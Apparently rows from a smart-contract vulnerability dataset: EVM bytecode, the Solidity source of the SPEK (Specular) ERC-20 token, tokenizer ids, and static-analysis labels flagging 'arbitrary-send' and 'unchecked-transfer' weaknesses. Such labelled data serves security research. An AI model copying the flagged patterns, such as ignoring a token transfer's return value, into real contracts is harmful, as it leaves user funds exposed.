f1681526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015611fcb578082015181840152602081019050611fb0565b50505050905090810190601f168015611ff85780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019060200280838360005b83811015612034578082015181840152602081019050612019565b50505050905001995050505050505050505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050151561208e57600080fd5b505050505050505050565b6040805190810160405280600e81526020017f506f726e5363656e65546f6b656e00000000000000000000000000000000000081525081565b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121f157600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156121ec57600080fd5b612249565b8073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561224857600080fd5b5b50565b60008273ffffffffffffffffffffffffffffffffffffffff166005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151561244f57600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055506005600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1505050565b600042600f60009054906101000a900463ffffffff1663ffffffff161115905090565b6000600d6000815480929190600101919050555082828401600d546040518082815260200191505060405180910390206001900481151561255357fe5b0603905092915050565b600e544201600f60006101000a81548163ffffffff021916908363ffffffff160217905550565b60008061258f612cad565b60008087511115156125a057600080fd5b600093505b86518410156126fc57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e88868151811015156125fa57fe5b906020019060200201516000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561265e57600080fd5b6102c65a03f1151561266f57600080fd5b505050604051805190509250600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415806126e45750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15156126ef57600080fd5b83806001019450506125a5565b60408051908101604052808981526020018881525091506001600c80548060010182816127299190612cd3565b91600052602060002090600202016000859091909150600082015181600001908051906020019061275b929190612d05565b506020820151816001019080519060200190612778929190612d85565b5050500390508063ffffffff168114151561279257600080fd5b7ff778b935903fd8ff66254baaef59aba24ee49b447b48f3188a756d155186ae85818989896040518085815260200180602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838103835286818151815260200191508051906020019080838360005b83811015612833578082015181840152602081019050612818565b50505050905090810190601f1680156128605780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019060200280838360005b8381101561289c578082015181840152602081019050612881565b50505050905001965050505050505060405180910390a18460066000838152602001908152602001600020819055506128d7600087836122f1565b5050505050505050565b60008060008414156128f65760009150612915565b828402905082848281151561290757fe5b0414151561291157fe5b8091505b5092915050565b600080828481151561292a57fe5b0490508091505092915050565b600082821115151561294557fe5b818303905092915050565b600080600091505b836020015151821015612a9257600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e8560200151848151811015156129b557fe5b906020019060200201516000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612a1957600080fd5b6102c65a03f11515612a2a57600080fd5b505050604051805190509050612a3f81612ba5565b15612a85578073ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515612a8457600080fd5b5b8180600101925050612958565b50505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e600a546000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612b3557600080fd5b6102c65a03f11515612b4657600080fd5b505050604051805190509050612b5b81612ba5565b15612ba1578073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515612ba057600080fd5b5b5050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c065760009050612c80565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480612c6d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15612c7b5760009050612c80565b600190505b919050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b6040805190810160405280612cc0612dd2565b8152602001612ccd612de6565b81525090565b815481835581811511612d0057600202816002028360005260206000209182019101612cff9190612dfa565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612d4657805160ff1916838001178555612d74565b82800160010185558215612d74579182015b82811115612d73578251825591602001919060010190612d58565b5b509050612d819190612e39565b5090565b828054828255906000526020600020908101928215612dc1579160200282015b82811115612dc0578251825591602001919060010190612da5565b5b509050612dce9190612e39565b5090565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b612e3691905b80821115612e325760008082016000612e199190612e5e565b600182016000612e299190612ea6565b50600201612e00565b5090565b90565b612e5b91905b80821115612e57576000816000905550600101612e3f565b5090565b90565b50805460018160011615610100020316600290046000825580601f10612e845750612ea3565b601f016020900490600052602060002090810190612ea29190612e39565b5b50565b5080546000825590600052602060002090810190612ec49190612e39565b505600a165627a7a72305820f6247b6c3739a4e273b3da8bd04e674ae89c1520d895ee2b795ac4f6d1d8af790029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2475, 2546, 2692, 2549, 7959, 2692, 2683, 22907, 22932, 2629, 2278, 27814, 17465, 2497, 2487, 2278, 21619, 2620, 2497, 2475, 2098, 24594, 2620, 17465, 22907, 2487, 2497, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 2240, 1013, 1013, 1013, 1030, 2516, 8278, 2005, 8311, 23758, 2075, 2000, 9413, 2278, 1011, 5824, 2487, 1024, 2512, 1011, 15289, 3468, 19204, 2015, 1013, 1013, 1013, 1030, 3166, 27976, 11280, 1026, 20010, 2063, 1030, 22260, 18994, 10431, 1012, 2522, 1028, 1006, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 20010, 2063, 1007, 3206, 9413, 2278, 2581, 17465, 1063, 1013, 1013, 3223, 4725, 3853, 14300, 1006, 4769, 1035, 2000, 1010, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,689
0x972f0c484be9e1bec8855d0d24f5a8727744f3c5
pragma solidity ^0.4.19; /* * Creator: SPEK (Specular) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * SPEK token smart contract. */ contract SPEKToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 8888888 * (10**18); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function SPEKToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "Specular"; string constant public symbol = "SPEK"; uint8 constant public decimals = 18; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a75565b005b34156103f057600080fd5b6103f8610c7d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cb6565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d42565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610dc9565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600881526020017f53706563756c617200000000000000000000000000000000000000000000000081525081565b60008061067f3385610d42565b148061068b5750600082145b151561069657600080fd5b6106a08383610f2a565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d684848461101c565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a6b576109666a075a4b9582ecf5e5e00000600454611402565b8211156109765760009050610a70565b6109be6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361141b565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0c6004548361141b565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a70565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0e57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bbc57600080fd5b6102c65a03f11515610bcd57600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f5350454b0000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d1157600080fd5b600560009054906101000a900460ff1615610d2f5760009050610d3c565b610d398383611439565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e2557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e6057600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561105957600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110e657600090506113fb565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561113557600090506113fb565b60008211801561117157508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611391576111fc600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611402565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112c46000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611402565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134e6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361141b565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561141057fe5b818303905092915050565b600080828401905083811015151561142f57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561147657600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114c55760009050611685565b60008211801561150157508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561161b5761154e6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611402565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115d86000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361141b565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820bfc5a4cd4f59d163181e29aa75fa2143cd7e35f20df569cbb712d10e715780d70029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2475, 2546, 2692, 2278, 18139, 2549, 4783, 2683, 2063, 2487, 4783, 2278, 2620, 27531, 2629, 2094, 2692, 2094, 18827, 2546, 2629, 2050, 2620, 2581, 22907, 2581, 22932, 2546, 2509, 2278, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2539, 1025, 1013, 1008, 1008, 8543, 1024, 11867, 5937, 1006, 28699, 7934, 1007, 1008, 1013, 1013, 1008, 1008, 10061, 19204, 6047, 3206, 1008, 1008, 1013, 1013, 1008, 1008, 3647, 8785, 6047, 3206, 1012, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 22116, 1011, 5024, 3012, 1013, 1038, 4135, 2497, 1013, 3040, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1008, 1013, 3206, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,690
0x972f4064bdb3ca5957b712a04fd85423a883fd3c
